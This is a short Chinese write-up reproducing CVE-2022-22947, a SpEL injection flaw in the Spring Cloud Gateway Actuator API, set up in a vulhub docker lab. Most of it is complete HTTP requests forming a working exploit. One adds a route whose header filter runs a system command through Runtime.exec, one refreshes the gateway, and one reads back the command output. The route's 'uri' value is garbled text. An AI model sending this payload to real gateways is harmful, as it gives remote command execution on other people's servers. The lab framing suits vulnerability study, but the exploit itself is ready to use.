Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

一、环境搭建

1 2	`https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947` `docker-compose up` `-d`

二、漏洞复现

添加一个含有恶意SpEL表达式的路由

POST /actuator/gateway/routes/UzJu HTTP/1.1
Host:  ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 324
 
{
  "id": "UzJu",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "b9dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3X3g2U0L8$3@1`.",
"order": 0
}

如果遇到提示Unsupported Media Type

需要加上Content-Type为application/json即可

1	`Content-Type: application/json`

刷新网关触发SpEL表达式

POST /actuator/gateway/refresh HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0

随后发送如下请求

GET /actuator/gateway/routes/UzJu HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0